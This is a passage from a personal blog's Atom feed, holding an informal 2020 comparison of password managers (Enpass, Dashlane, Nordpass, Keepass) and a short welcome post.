manager ( at least in Latvia), but similarly good.&lt;/p&gt;&lt;p&gt;There are 3 plans:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Individual Plan (1.79 EUR/mo) - for for personal use, with unlimited vaults/devices. And has alerts for website breaches&lt;/li&gt;&lt;li&gt;Family plan (2.69 EUR/mo) - for families (6 people): basically, everything what individual plan provides&lt;/li&gt;&lt;li&gt;One-time payment (71.19 EUR) provides basically what individual plan provides.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;There is a &lt;a href=&quot;https://www.enpass.io/docs/security-whitepaper-enpass/index.html&quot;&gt;whitepaper&lt;/a&gt; for enpass and also it has a &lt;a href=&quot;https://dl.enpass.io/docs/EnpassSecurityAssessmentReport.pdf&quot;&gt;security assessment&lt;/a&gt;. It’s available on linux, Windows, mac, Iphones and Android. Enpass is pretty new, so, this is a small warning. I wouldn’t trust it so much as other companies.&lt;/p&gt;&lt;h4&gt;Dashlane&lt;/h4&gt;&lt;p&gt;The most popular password manager that youtube adverises. soo… lets see… Basically:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;U.S.-patented security architecture&lt;/li&gt;&lt;li&gt;Security dashboard&lt;/li&gt;&lt;li&gt;Policy management&lt;/li&gt;&lt;li&gt;Advanced reporting&lt;/li&gt;&lt;li&gt;Directory integration&lt;/li&gt;&lt;li&gt;Group sharing&lt;/li&gt;&lt;li&gt;Two-factor authentication (2FA)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;… nothing much from a provider.. Still- for 5 EUR for standard an 8 EUR for business. It feels basic.&lt;/p&gt;&lt;h4&gt;Nordpass&lt;/h4&gt;&lt;p&gt;So… Nordpass. It doesn’t look that bad for an service, which was created in 2019. First off, some things it provides:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;You can keep credit card information&lt;/li&gt;&lt;li&gt;You can make some notes in this aplication&lt;/li&gt;&lt;li&gt;Works on Windows, Linux, MacOS, Android and works basically on all browsers&lt;/li&gt;&lt;li&gt;It has free tier (which will allow you to use it only on 1 device (so if you’re using it on phone and PC, you’re kind of out of luck))&lt;/li&gt;&lt;li&gt;It has Premium tier for 1.99 EUR a month (which you can use for 6 connected devices, Secure item sharing, Data Breach Scanner&lt;/li&gt;&lt;li&gt;it uses XChaCha20 encryption. (rarely heard encryption, but seems &lt;a href=&quot;https://crypto.stackexchange.com/questions/34455/whats-the-appeal-of-using-chacha20-instead-of-aes&quot;&quot;&gt;it’s pretty ok&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;provides 2FA (nothing talked about MFA like yubikey)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;As far as I can see, it doesn’t allow to download or host your own password manager file locally.&lt;/p&gt;&lt;h4&gt;Keepass&lt;/h4&gt;&lt;p&gt;Keepass is the password manager I daily use, so take this information with a grain of salt. For me, the main features of it are that it’s for free, and the source code is available on  &lt;a href=&quot;https://github.com/keepassx/keepassx&quot;&gt;github&lt;/a&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Works on basically every OS (operating system) and works on Android/iOS.&lt;/li&gt;&lt;li&gt;Is free&lt;/li&gt;&lt;li&gt;Your database is saved locally and can be saved anywhere- AWS/google drive/email/whatever.&lt;/li&gt;&lt;li&gt;Encrypts passwords in AES-256.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To be fair, it’s easily usable, and is usable on every device… and the code is freely visible for everyone. Currently to sum it all up: use something between Bitwarden or keepass. Why? because- bitwarden allows you to save your files locally and allows your files to be synced in every place. Keepass is basically open source and everyone can say anything about it on github. You can save it anywhere and… yeah. If you have any questions, let me know.&lt;/p&gt;</content>
    <author>
      <name>Dawgora</name>
    </author>
    <link href="/blog/password-managers"/>
    <id>/blog/password-managers</id>
    <title>Password managers</title>
    <updated>2020-12-24T14:51:41Z</updated>
  </entry>
  <entry>
    <content type="text">&lt;h3&gt;Sup people, welcome to my blog&lt;/h3&gt;&lt;img class=&quot;center-image&quot; src=&quot;https://img.cdn.dawgora.com/0e00b634-40c4-4f1d-aaa4-bb028d12c2f7.jpg&quot;&gt;&lt;p&gt;Time to post some dank memes, and shitty internet security guides. Perhaps.&lt;/p&gt;</content>
    <author>
      <name>Dawgora</name>
    </author>
    <link href="/blog/welcome"/>
    <id>/blog/welcome</id>
    <title>Welcome to my blog!</title>
    <updated>2020-12-20T18:49:31Z</updated>
  </entry>
</feed>